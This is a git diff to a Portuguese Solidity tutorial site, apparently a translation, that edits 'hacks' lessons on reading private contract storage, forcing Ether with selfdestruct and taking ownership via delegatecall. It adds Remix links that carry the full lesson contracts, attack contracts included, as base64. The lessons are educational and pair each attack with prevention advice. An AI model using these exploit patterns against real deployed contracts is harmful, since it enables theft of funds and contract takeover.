diff --git a/src/.vuepress/config/sidebar-pt.js b/src/.vuepress/config/sidebar-pt.js index 8419cb1..3161783 100644 --- a/src/.vuepress/config/sidebar-pt.js +++ b/src/.vuepress/config/sidebar-pt.js @@ -88,7 +88,7 @@ module.exports = [ "/exemplos/linguagem-v0.8.3/import.md", "/exemplos/linguagem-v0.8.3/biblioteca.md", "/exemplos/linguagem-v0.8.3/hashing-with-keccak256.md", - "/exemplos/linguagem-v0.8.3/verificando-assinatura.md" + "/exemplos/linguagem-v0.8.3/verificando-assinatura.md", ], }, { @@ -127,6 +127,9 @@ module.exports = [ "/exemplos/hacks/manipulacao-do-bloco-timestamp.md", "/exemplos/hacks/repeticao-de-assinatura.md", "/exemplos/hacks/ignorar-a-verificacao-do-tamanho-do-contrato.md", + "/exemplos/hacks/implementar-contratos-diferentes-no-mesmo-endereco.md", + "/exemplos/hacks/inflacao-do-cofre.md", + "/exemplos/hacks/licenca-WETH.md", ], }, { @@ -153,7 +156,9 @@ module.exports = [ { title: "Patterns and Standards", path: "/evm-maquina-virtual-ethereum/patterns-and-standards", - children: ["/evm-maquina-virtual-ethereum/patterns-and-standards/erc20-and-eip-20.md"], + children: [ + "/evm-maquina-virtual-ethereum/patterns-and-standards/erc20-and-eip-20.md", + ], }, ], }, @@ -171,4 +176,4 @@ module.exports = [ }, ], }, -] +]; diff --git a/src/exemplos/hacks/acessando-dados-privados.md b/src/exemplos/hacks/acessando-dados-privados.md index 418bea5..35c91c5 100644 --- a/src/exemplos/hacks/acessando-dados-privados.md +++ b/src/exemplos/hacks/acessando-dados-privados.md @@ -1,21 +1,21 @@ # Acessando Dados Privados -#### Vulnerabilidade +Vulnerabilidade Todos os dados num contrato inteligente podem ser lidos. -Vamos ver como podemos ler dados privados. Você vai aprender como Solidity armazena variáveis de estado. +Vamos ver como podemos ler dados privados. No processo, você aprenderá como o Solidity armazena variáveis ​​de estado. ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; +pragma solidity ^0.8.20; /* -Nota: não pode usar web3 on JVM, então use contrato implementado no ropsten +Nota: não pode usar web3 on JVM, então use contrato implementado no Goerli Nota: browser Web3 é antigo então use Web3 do truffle console -Contrato implantado no Ropsten -0x3505a02BCDFbb225988161a95528bfDb279faD6b +Contract deployed on Goerli +0x534E4Ce0ffF779513793cfd70308AF195827BD31 */ /* @@ -23,7 +23,7 @@ Contrato implantado no Ropsten - 2 ** 256 slots - 32 bytes para cada slot - dados são armazenados sequencialmente por ordem de declaração -- armazenagem é otimizada para economizar espaço. Se as variáveis vizinhas cabem +- armazenagem é otimizada para economizar espaço. Se as variáveis vizinhas cabem em 32 bytes, então elas são empacotadas no mesmo slot, começando da direita */ @@ -96,11 +96,11 @@ getArrayLocation(6, 0, 2) web3.utils.numberToHex("111414077815863400510004064629973595961579173665589224203503662149373724986687") Nota: Podemos usar também web3 para obter a localização dos dados web3.utils.soliditySha3({ type: "uint", value: 6 }) -1o. usuário +1º. usuário web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f", console.log) web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d40", console.log) Nota: use web3.toAscii para converter bytes32 para alfabeto -2o. usuário +2º. usuário web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d41", console.log) web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d42", console.log) @@ -115,6 +115,10 @@ web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", "0xb39221ace */ ``` -#### Técnicas preventivas +Técnicas preventivas -* Não armazene informações confidenciais no blockchain. +- Não armazene informações confidenciais no blockchain. + +## Teste no Remix + +- [Vault.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCk5vdGE6IG5hbyBwb2RlIHVzYXIgd2ViMyBvbiBKVk0sIGVudGFvIHVzZSBjb250cmF0byBpbXBsZW1lbnRhZG8gbm8gR29lcmxpCk5vdGE6IGJyb3dzZXIgV2ViMyBlIGFudGlnbyBlbnRhbyB1c2UgV2ViMyBkbyB0cnVmZmxlIGNvbnNvbGUKCkNvbnRyYWN0IGRlcGxveWVkIG9uIEdvZXJsaQoweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEKKi8KCi8qCiMgQXJtYXplbmFnZW0KLSAyICoqIDI1NiBzbG90cwotIDMyIGJ5dGVzIHBhcmEgY2FkYSBzbG90Ci0gZGFkb3Mgc2FvIGFybWF6ZW5hZG9zIHNlcXVlbmNpYWxtZW50ZSBwb3Igb3JkZW0gZGUgZGVjbGFyYWNhbwotIGFybWF6ZW5hZ2VtIGUgb3RpbWl6YWRhIHBhcmEgZWNvbm9taXphciBlc3BhY28uIFNlIGFzIHZhcmlhdmVpcyB2aXppbmhhcyBjYWJlbSAKICBlbSAzMiBieXRlcywgZW50YW8gZWxhcyBzYW8gZW1wYWNvdGFkYXMgbm8gbWVzbW8gc2xvdCwgY29tZWNhbmRvIGRhIGRpcmVpdGEKKi8KCmNvbnRyYWN0IFZhdWx0IHsKICAgIC8vIHNsb3QgMAogICAgdWludCBwdWJsaWMgY291bnQgPSAxMjM7CiAgICAvLyBzbG90IDEKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIGJvb2wgcHVibGljIGlzVHJ1ZSA9IHRydWU7CiAgICB1aW50MTYgcHVibGljIHUxNiA9IDMxOwogICAgLy8gc2xvdCAyCiAgICBieXRlczMyIHByaXZhdGUgcGFzc3dvcmQ7CgogICAgLy8gY29uc3RhbnRlcyBuYW8gdXNhbSBhcm1hemVuYWdlbQogICAgdWludCBwdWJsaWMgY29uc3RhbnQgc29tZUNvbnN0ID0gMTIzOwoKICAgIC8vIHNsb3QgMywgNCwgNSAob25lIGZvciBlYWNoIGFycmF5IGVsZW1lbnQpCiAgICBieXRlczMyWzNdIHB1YmxpYyBkYXRhOwoKICAgIHN0cnVjdCBVc2VyIHsKICAgICAgICB1aW50IGlkOwogICAgICAgIGJ5dGVzMzIgcGFzc3dvcmQ7CiAgICB9CgogICAgLy8gc2xvdCA2IC0gY29tcHJpbWVudG8gZGEgbWF0cml6CiAgICAvL2NvbWVjYW5kbyBkZSBzbG90IGhhc2goNikgLSBlbGVtZW50b3MgZGEgbWF0cml6CiAgICAvLyBzbG90IG9uZGUgbyBlbGVtZW50byBkYSBtYXRyaXogZSBhcm1hemVuYWRvID0ga2VjY2FrMjU2KHNsb3QpKSArIChpbmRleCAqIGVsZW1lbnRTaXplKQogICAgLy8gb25kZSBzbG90ID0gNiBlIGVsZW1lbnRTaXplID0gMiAoMSAodWludCkgKyAgMSAoYnl0ZXMzMikpCiAgICBVc2VyW10gcHJpdmF0ZSB1c2VyczsKCiAgICAvLyBzbG90IDcgLSB2YXppbwogICAgLy8gZW50cmFkYXMgc2FvIGFybWF6ZW5hZGFzIG5vIGhhc2goa2V5LCBzbG90KQogICAgLy8gb25kZSBzbG90ID0gNywga2V5ID0gbWFwIGtleQogICAgbWFwcGluZyh1aW50ID0+IFVzZXIpIHByaXZhdGUgaWRUb1VzZXI7CgogICAgY29uc3RydWN0b3IoYnl0ZXMzMiBfcGFzc3dvcmQpIHsKICAgICAgICBwYXNzd29yZCA9IF9wYXNzd29yZDsKICAgIH0KCiAgICBmdW5jdGlvbiBhZGRVc2VyKGJ5dGVzMzIgX3Bhc3N3b3JkKSBwdWJsaWMgewogICAgICAgIFVzZXIgbWVtb3J5IHVzZXIgPSBVc2VyKHtpZDogdXNlcnMubGVuZ3RoLCBwYXNzd29yZDogX3Bhc3N3b3JkfSk7CgogICAgICAgIHVzZXJzLnB1c2godXNlcik7CiAgICAgICAgaWRUb1VzZXJbdXNlci5pZF0gPSB1c2VyOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEFycmF5TG9jYXRpb24oCiAgICAgICAgdWludCBzbG90LAogICAgICAgIHVpbnQgaW5kZXgsCiAgICAgICAgdWludCBlbGVtZW50U2l6ZQogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIHVpbnQoa2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoc2xvdCkpKSArIChpbmRleCAqIGVsZW1lbnRTaXplKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRNYXBMb2NhdGlvbih1aW50IHNsb3QsIHVpbnQga2V5KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIHVpbnQoa2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoa2V5LCBzbG90KSkpOwogICAgfQp9CgovKgpzbG90IDAgLSBjb3VudAp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4MzUwNWEwMkJDREZiYjIyNTk4ODE2MWE5NTUyOGJmRGIyNzlmYUQ2YiIsIDAsIGNvbnNvbGUubG9nKQpzbG90IDEgLSB1MTYsIGlzVHJ1ZSwgb3duZXIKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDM1MDVhMDJCQ0RGYmIyMjU5ODgxNjFhOTU1MjhiZkRiMjc5ZmFENmIiLCAxLCBjb25zb2xlLmxvZykKc2xvdCAyIC0gcGFzc3dvcmQKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDM1MDVhMDJCQ0RGYmIyMjU5ODgxNjFhOTU1MjhiZkRiMjc5ZmFENmIiLCAyLCBjb25zb2xlLmxvZykKCnNsb3QgNiAtIGFycmF5IGxlbmd0aApnZXRBcnJheUxvY2F0aW9uKDYsIDAsIDIpCndlYjMudXRpbHMubnVtYmVyVG9IZXgoIjExMTQxNDA3NzgxNTg2MzQwMDUxMDAwNDA2NDYyOTk3MzU5NTk2MTU3OTE3MzY2NTU4OTIyNDIwMzUwMzY2MjE0OTM3MzcyNDk4NjY4NyIpCk5vdGE6IFBvZGVtb3MgdXNhciB0YW1iZW0gd2ViMyBwYXJhIG9idGVyIGEgbG9jYWxpemFjYW8gZG9zIGRhZG9zCndlYjMudXRpbHMuc29saWRpdHlTaGEzKHsgdHlwZTogInVpbnQiLCB2YWx1ZTogNiB9KQoxui4gdXN1YXJpbwp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4MzUwNWEwMkJDREZiYjIyNTk4ODE2MWE5NTUyOGJmRGIyNzlmYUQ2YiIsICIweGY2NTIyMjIzMTNlMjg0NTk1MjhkOTIwYjY1MTE1YzE2YzA0ZjNlZmM4MmFhZWRjOTdiZTU5ZjNmMzc3YzBkM2YiLCBjb25zb2xlLmxvZykKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDM1MDVhMDJCQ0RGYmIyMjU5ODgxNjFhOTU1MjhiZkRiMjc5ZmFENmIiLCAiMHhmNjUyMjIyMzEzZTI4NDU5NTI4ZDkyMGI2NTExNWMxNmMwNGYzZWZjODJhYWVkYzk3YmU1OWYzZjM3N2MwZDQwIiwgY29uc29sZS5sb2cpCk5vdGE6IHVzZSB3ZWIzLnRvQXNjaWkgcGFyYSBjb252ZXJ0ZXIgYnl0ZXMzMiBwYXJhIGFsZmFiZXRvCjK6LiB1c3VhcmlvCndlYjMuZXRoLmdldFN0b3JhZ2VBdCgiMHgzNTA1YTAyQkNERmJiMjI1OTg4MTYxYTk1NTI4YmZEYjI3OWZhRDZiIiwgIjB4ZjY1MjIyMjMxM2UyODQ1OTUyOGQ5MjBiNjUxMTVjMTZjMDRmM2VmYzgyYWFlZGM5N2JlNTlmM2YzNzdjMGQ0MSIsIGNvbnNvbGUubG9nKQp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4MzUwNWEwMkJDREZiYjIyNTk4ODE2MWE5NTUyOGJmRGIyNzlmYUQ2YiIsICIweGY2NTIyMjIzMTNlMjg0NTk1MjhkOTIwYjY1MTE1YzE2YzA0ZjNlZmM4MmFhZWRjOTdiZTU5ZjNmMzc3YzBkNDIiLCBjb25zb2xlLmxvZykKCnNsb3QgNyAtIGVtcHR5CmdldE1hcExvY2F0aW9uKDcsIDEpCndlYjMudXRpbHMubnVtYmVyVG9IZXgoIjgxMjIyMTkxOTg2MjI2ODA5MTAzMjc5MTE5OTk0NzA3ODY4MzIyODU1NzQxODE5OTA1OTA0NDE3OTUzMDkyNjY2Njk5MDk2OTYzMTEyIikKTm90YTogTm9zIHBvZGVtb3MgdXNhciB3ZWIzIHBhcmEgb2J0ZXIgYSBsb2NhbGl6YWNhbyBkb3MgZGFkb3MKd2ViMy51dGlscy5zb2xpZGl0eVNoYTMoeyB0eXBlOiAidWludCIsIHZhbHVlOiAxIH0sIHt0eXBlOiAidWludCIsIHZhbHVlOiA3fSkKdXNlciAxCndlYjMuZXRoLmdldFN0b3JhZ2VBdCgiMHgzNTA1YTAyQkNERmJiMjI1OTg4MTYxYTk1NTI4YmZEYjI3OWZhRDZiIiwgIjB4YjM5MjIxYWNlMDUzNDY1ZWMzNDUzY2UyYjM2NDMwYmQxMzhiOTk3ZWNlYTI1YzEwNDNkYTBjMzY2ODEyYjgyOCIsIGNvbnNvbGUubG9nKQp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4MzUwNWEwMkJDREZiYjIyNTk4ODE2MWE5NTUyOGJmRGIyNzlmYUQ2YiIsICIweGIzOTIyMWFjZTA1MzQ2NWVjMzQ1M2NlMmIzNjQzMGJkMTM4Yjk5N2VjZWEyNWMxMDQzZGEwYzM2NjgxMmI4MjkiLCBjb25zb2xlLmxvZykKKi8=&version=soljson-v0.8.20+commit.a1b79de6.js) diff --git a/src/exemplos/hacks/autodestruicao.md b/src/exemplos/hacks/autodestruicao.md index 7d2079b..31c8479 100644 --- a/src/exemplos/hacks/autodestruicao.md +++ b/src/exemplos/hacks/autodestruicao.md @@ -1,16 +1,16 @@ # Autodestruição -Contratos podem ser apagados do blockchain chamando `selfdestruct`. +Os contratos podem ser apagados do blockchain chamando `selfdestruct`. `selfdestruct` envia todo Ether restante armazenado no contrato para o endereço designado. -#### Vulnerabilidade +Vulnerabilidade Um contrato malicioso pode usar `selfdestruct` para forçar o envio de Ether para qualquer contrato. ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; +pragma solidity ^0.8.20; // A meta deste jogo é ser o 7o. jogador a depositar 1 Ether. // Jogadores podem depositar somente 1 Ether de cada vez. @@ -69,13 +69,13 @@ contract Attack { } ``` -#### Técnicas preventivas +Técnicas preventivas -`Não conte com` `address(this).balance` +Não confie em `address(this).balance` ``` // SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; +pragma solidity ^0.8.20; contract EtherGame { uint public targetAmount = 3 ether; @@ -101,3 +101,8 @@ contract EtherGame { } } ``` + +## Teste no Remix + +- [ForceEther.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIEEgbWV0YSBkZXN0ZSBqb2dvIGUgc2VyIG8gN28uIGpvZ2Fkb3IgYSBkZXBvc2l0YXIgMSBFdGhlci4KLy8gSm9nYWRvcmVzIHBvZGVtIGRlcG9zaXRhciBzb21lbnRlIDEgRXRoZXIgZGUgY2FkYSB2ZXouCi8vIE8gdmVuY2Vkb3Igc2VyYSBjYXBheiBkZSByZXRpcmFyIHRvZG8gRXRoZXIuCgovKgoxLiBJbXBsZW1lbnRlIEV0aGVyR2FtZQoyLiBKb2dhZG9yZXMgKHZhbW9zIGRpemVyIEFsaWNlIGUgQm9iKSBkZWNpZGVtIGpvZ2FyLCBkZXBvc2l0YW0gMSBFdGhlciBjYWRhLgoyLiBJbXBsZW1lbnRlIEF0dGFjayBjb20gZW5kZXJlY28gZG8gRXRoZXJHYW1lCjMuIENoYW1lIEF0dGFjay5hdHRhY2sgZW52aWFuZG8gNSBldGhlci4gSXNzbyBxdWVicmFyYSBvIGpvZ28uCiAgIE5pbmd1ZW0gcG9kZSBzZSB0b3JuYXIgY2FtcGVhby4KCk8gcXVlIGFjb250ZWNldT8KQXR0YWNrIGZvcmNvdSBvIGJhbGFuY28gZG8gRXRoZXJHYW1lIHBhcmEgNyBldGhlci4KQWdvcmEgbmluZ3VlbSBwb2RlIGRlcG9zaXRhciBlIG5hbyBzZSBwb2RlIGVzdGFiZWxlY2VyIHVtIGNhbXBlYW8uCiovCgpjb250cmFjdCBFdGhlckdhbWUgewogICAgdWludCBwdWJsaWMgdGFyZ2V0QW1vdW50ID0gNyBldGhlcjsKICAgIGFkZHJlc3MgcHVibGljIHdpbm5lcjsKCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgcHVibGljIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID09IDEgZXRoZXIsICJZb3UgY2FuIG9ubHkgc2VuZCAxIEV0aGVyIik7CgogICAgICAgIHVpbnQgYmFsYW5jZSA9IGFkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgICAgICByZXF1aXJlKGJhbGFuY2UgPD0gdGFyZ2V0QW1vdW50LCAiR2FtZSBpcyBvdmVyIik7CgogICAgICAgIGlmIChiYWxhbmNlID09IHRhcmdldEFtb3VudCkgewogICAgICAgICAgICB3aW5uZXIgPSBtc2cuc2VuZGVyOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBjbGFpbVJld2FyZCgpIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IHdpbm5lciwgIk5vdCB3aW5uZXIiKTsKCiAgICAgICAgKGJvb2wgc2VudCwgKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYWRkcmVzcyh0aGlzKS5iYWxhbmNlfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIEV0aGVyR2FtZSBldGhlckdhbWU7CgogICAgY29uc3RydWN0b3IoRXRoZXJHYW1lIF9ldGhlckdhbWUpIHsKICAgICAgICBldGhlckdhbWUgPSBFdGhlckdhbWUoX2V0aGVyR2FtZSk7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIC8vIFZvY2UgcG9kZSBzaW1wbGVzbWVudGUgcXVlYnJhciBvIGpvZ28gZW52aWFuZG8gZXRoZXIgZGUgZm9ybWEgcXVlCiAgICAgICAgLy8gbyBzYWxkbyBkbyBqb2dvID49IDcgZXRoZXIKCiAgICAgICAgLy8gbGFuY2UgYWRkcmVzcyBhIHBhZ2FyCiAgICAgICAgYWRkcmVzcyBwYXlhYmxlIGFkZHIgPSBwYXlhYmxlKGFkZHJlc3MoZXRoZXJHYW1lKSk7CiAgICAgICAgc2VsZmRlc3RydWN0KGFkZHIpOwogICAgfQp9&version=soljson-v0.8.20+commit.a1b79de6.js) +- [PreventForceEther.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEV0aGVyR2FtZSB7CiAgICB1aW50IHB1YmxpYyB0YXJnZXRBbW91bnQgPSAzIGV0aGVyOwogICAgdWludCBwdWJsaWMgYmFsYW5jZTsKICAgIGFkZHJlc3MgcHVibGljIHdpbm5lcjsKCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgcHVibGljIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID09IDEgZXRoZXIsICJZb3UgY2FuIG9ubHkgc2VuZCAxIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2UgKz0gbXNnLnZhbHVlOwogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA8PSB0YXJnZXRBbW91bnQsICJHYW1lIGlzIG92ZXIiKTsKCiAgICAgICAgaWYgKGJhbGFuY2UgPT0gdGFyZ2V0QW1vdW50KSB7CiAgICAgICAgICAgIHdpbm5lciA9IG1zZy5zZW5kZXI7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGNsYWltUmV3YXJkKCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gd2lubmVyLCAiTm90IHdpbm5lciIpOwoKICAgICAgICAoYm9vbCBzZW50LCApID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBiYWxhbmNlfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQ==&version=soljson-v0.8.20+commit.a1b79de6.js) diff --git a/src/exemplos/hacks/delegatecall.md b/src/exemplos/hacks/delegatecall.md index 6f10782..288c68c 100644 --- a/src/exemplos/hacks/delegatecall.md +++ b/src/exemplos/hacks/delegatecall.md @@ -1,21 +1,21 @@ # Delegatecall -#### Vulnerabilidade +Vulnerabilidade -`delegatecall`é complicado de usar e seu uso errado ou entendimento incorreto pode levar a resultados devastadores. +`delegatecall` é complicado de usar e seu uso errado ou entendimento incorreto pode levar a resultados devastadores. Você deve ter 2 coisas em mente quando usar o `delegatecall` 1. `delegatecall` preserva o contexto (armazenagem, chamador etc...) -2. o layout da armazenagem deve ser o mesmo que o do contrato que faz a chamada `delegatecall` e do contrato que está sendo chamado. +2. O layout de armazenamento deve ser o mesmo para a chamada do contrato `delegatecall` e do contrato que está sendo chamado. ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; +pragma solidity ^0.8.20; /* HackMe é um contrato que usa delegatecall para executar código. -Não é evidente que o proprietário do HackMe pode ser mudado já que não há +Não é evidente que o proprietário do HackMe pode ser mudado já que não há função dentro HackMe para fazer isso. Contudo um invasor pode roubar o contrato para explorar delegatecall. Vejamos como. @@ -33,7 +33,7 @@ Aqui msg.data contém o seletor de função do pwn(). Isso avisa ao Solidity para chamar a função pwn() dentro do Lib. A função pwn() atualiza o proprietário para msg.sender. Delegatecall roda o código do Lib usando o contexto do HackMe. -Consequentemente a armazenagem do HackMe foi atualizada para msg.sender onde +Consequentemente a armazenagem do HackMe foi atualizada para msg.sender onde msg.sender é o chamador do HackMe, nesse caso, Attack. */ @@ -72,13 +72,13 @@ contract Attack { } ``` -Aqui está mais um exemplo. +Aqui está outro exemplo. -Você precisa entender como o Solidity armazena variáveis de estado antes de entender este exploit. +Você precisará entender como o Solidity armazena as variáveis ​​de estado antes de entender essa exploração. ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; +pragma solidity ^0.8.20; /* Esta é uma versão mais sofisticada do exploit anterior. @@ -90,7 +90,7 @@ Esta é uma versão mais sofisticada do exploit anterior. O que aconteceu? Observe que as variáveis de estado não estão definidas da mesma forma no Lib -e HackMe. Isso significa que chamando Lib.doSomething() muda a primeira +e HackMe. Isso significa que chamando Lib.doSomething() muda a primeira variável de estado dentro do HackMe, que acontece que é o endereço do lib. Dentro do attack(), a primeira chamada para doSomething() muda o endereço do lib @@ -150,6 +150,11 @@ contract Attack { } ``` -#### Técnicas preventivas +Técnicas preventivas -* Use `Library sem estado` +- Usar sem estado `Library` + +## Teste no Remix + +- [Delegatecall_1.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkhhY2tNZSBlIHVtIGNvbnRyYXRvIHF1ZSB1c2EgZGVsZWdhdGVjYWxsIHBhcmEgZXhlY3V0YXIgY29kaWdvLgpOYW8gZSBldmlkZW50ZSBxdWUgbyBwcm9wcmlldGFyaW8gZG8gSGFja01lIHBvZGUgc2VyIG11ZGFkbyBqYSBxdWUgbmFvIGhhIApmdW5jYW8gZGVudHJvIEhhY2tNZSBwYXJhIGZhemVyIGlzc28uIENvbnR1ZG8gdW0gaW52YXNvciBwb2RlIHJvdWJhciBvCmNvbnRyYXRvIHBhcmEgZXhwbG9yYXIgZGVsZWdhdGVjYWxsLiBWZWphbW9zIGNvbW8uCgoxLiBBbGljZSBpbXBsYW50YSBMaWIKMi4gQWxpY2UgaW1wbGVtZW50YSBIYWNrTWUgY29tIGVuZGVyZWNvIGRvIExpYgozLiBFdmUgaW1wbGVtZW50YSBBdHRhY2sgY29tIGVuZGVyZWNvIGRvIEhhY2tNZQo0LiBFdmUgY2hhbWEgQXR0YWNrLmF0dGFjaygpCjUuIEF0dGFjayBlIGFnb3JhIG8gcHJvcHJpZXRhcmlvIGRvIEhhY2tNZQoKTyBxdWUgYWNvbnRlY2V1PwpFdmUgY2hhbW91IEF0dGFjay5hdHRhY2soKS4KQXR0YWNrIGNoYW1vdSBhIGZ1bmNhbyBmYWxsYmFjayBkbyBIYWNrTWUgZW52aWFuZG8gbyBzZWxldG9yIGRlIGZ1bmNhbwpkbyBwd24oKS4gSGFja01lIGVuY2FtaW5oYSBhIGNoYW1hZGEgcGFyYSBvIExpYiB1c2FuZG8gZGVsZWdhdGVjYWxsLgpBcXVpIG1zZy5kYXRhIGNvbnRlbSBvIHNlbGV0b3IgZGUgZnVuY2FvIGRvIHB3bigpLgpJc3NvIGF2aXNhIGFvIFNvbGlkaXR5IHBhcmEgY2hhbWFyIGEgZnVuY2FvIHB3bigpIGRlbnRybyBkbyBMaWIuCkEgZnVuY2FvIHB3bigpIGF0dWFsaXphIG8gcHJvcHJpZXRhcmlvIHBhcmEgbXNnLnNlbmRlci4KRGVsZWdhdGVjYWxsIHJvZGEgbyBjb2RpZ28gZG8gTGliIHVzYW5kbyBvIGNvbnRleHRvIGRvIEhhY2tNZS4KQ29uc2VxdWVudGVtZW50ZSBhIGFybWF6ZW5hZ2VtIGRvIEhhY2tNZSBmb2kgYXR1YWxpemFkYSBwYXJhIG1zZy5zZW5kZXIgb25kZSAKbXNnLnNlbmRlciBlIG8gY2hhbWFkb3IgZG8gSGFja01lLCBuZXNzZSBjYXNvLCBBdHRhY2suCiovCgpjb250cmFjdCBMaWIgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CgogICAgZnVuY3Rpb24gcHduKCkgcHVibGljIHsKICAgICAgICBvd25lciA9IG1zZy5zZW5kZXI7CiAgICB9Cn0KCmNvbnRyYWN0IEhhY2tNZSB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIExpYiBwdWJsaWMgbGliOwoKICAgIGNvbnN0cnVjdG9yKExpYiBfbGliKSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgICAgIGxpYiA9IExpYihfbGliKTsKICAgIH0KCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIGFkZHJlc3MobGliKS5kZWxlZ2F0ZWNhbGwobXNnLmRhdGEpOwogICAgfQp9Cgpjb250cmFjdCBBdHRhY2sgewogICAgYWRkcmVzcyBwdWJsaWMgaGFja01lOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2hhY2tNZSkgewogICAgICAgIGhhY2tNZSA9IF9oYWNrTWU7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHsKICAgICAgICBoYWNrTWUuY2FsbChhYmkuZW5jb2RlV2l0aFNpZ25hdHVyZSgicHduKCkiKSk7CiAgICB9Cn0=&version=soljson-v0.8.20+commit.a1b79de6.js) +- [Delegatecall_2.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkVzdGEgZSB1bWEgdmVyc2FvIG1haXMgc29maXN0aWNhZGEgZG8gZXhwbG9pdCBhbnRlcmlvci4KCjEuIEFsaWNlIGltcGxhbnRhIExpYiBlIEhhY2tNZSBjb20gZW5kZXJlY28gZG8gTGliCjIuIEV2ZSBpbXBsYW50YSBBdHRhY2sgY29tIGVuZGVyZWNvIGRvIEhhY2tNZQozLiBFdmUgY2hhbWEgQXR0YWNrLmF0dGFjaygpCjQuIEF0dGFjayBhZ29yYSBlIG8gcHJvcHJpZXRhcmlvIGRvIEhhY2tNZQoKTyBxdWUgYWNvbnRlY2V1PwpPYnNlcnZlIHF1ZSBhcyB2YXJpYXZlaXMgZGUgZXN0YWRvIG5hbyBlc3RhbyBkZWZpbmlkYXMgZGEgbWVzbWEgZm9ybWEgbm8gTGliCmUgSGFja01lLiBJc3NvIHNpZ25pZmljYSBxdWUgY2hhbWFuZG8gTGliLmRvU29tZXRoaW5nKCkgbXVkYSBhIHByaW1laXJhIAp2YXJpYXZlbCBkZSBlc3RhZG8gZGVudHJvIGRvIEhhY2tNZSwgcXVlIGFjb250ZWNlIHF1ZSBlIG8gZW5kZXJlY28gZG8gbGliLgoKRGVudHJvIGRvIGF0dGFjaygpLCBhIHByaW1laXJhIGNoYW1hZGEgcGFyYSBkb1NvbWV0aGluZygpIG11ZGEgbyBlbmRlcmVjbyBkbyBsaWIKYXJtYXplbmFkbyBubyBIYWNrTWUuIE8gZW5kZXJlY28gZG8gbGliIGFnb3JhIGVzdGEgY29uZmlndXJhZG8gcGFyYSBvIEF0dGFjay4KQSBzZWd1bmRhIGNoYW1hZGEgcGFyYSBk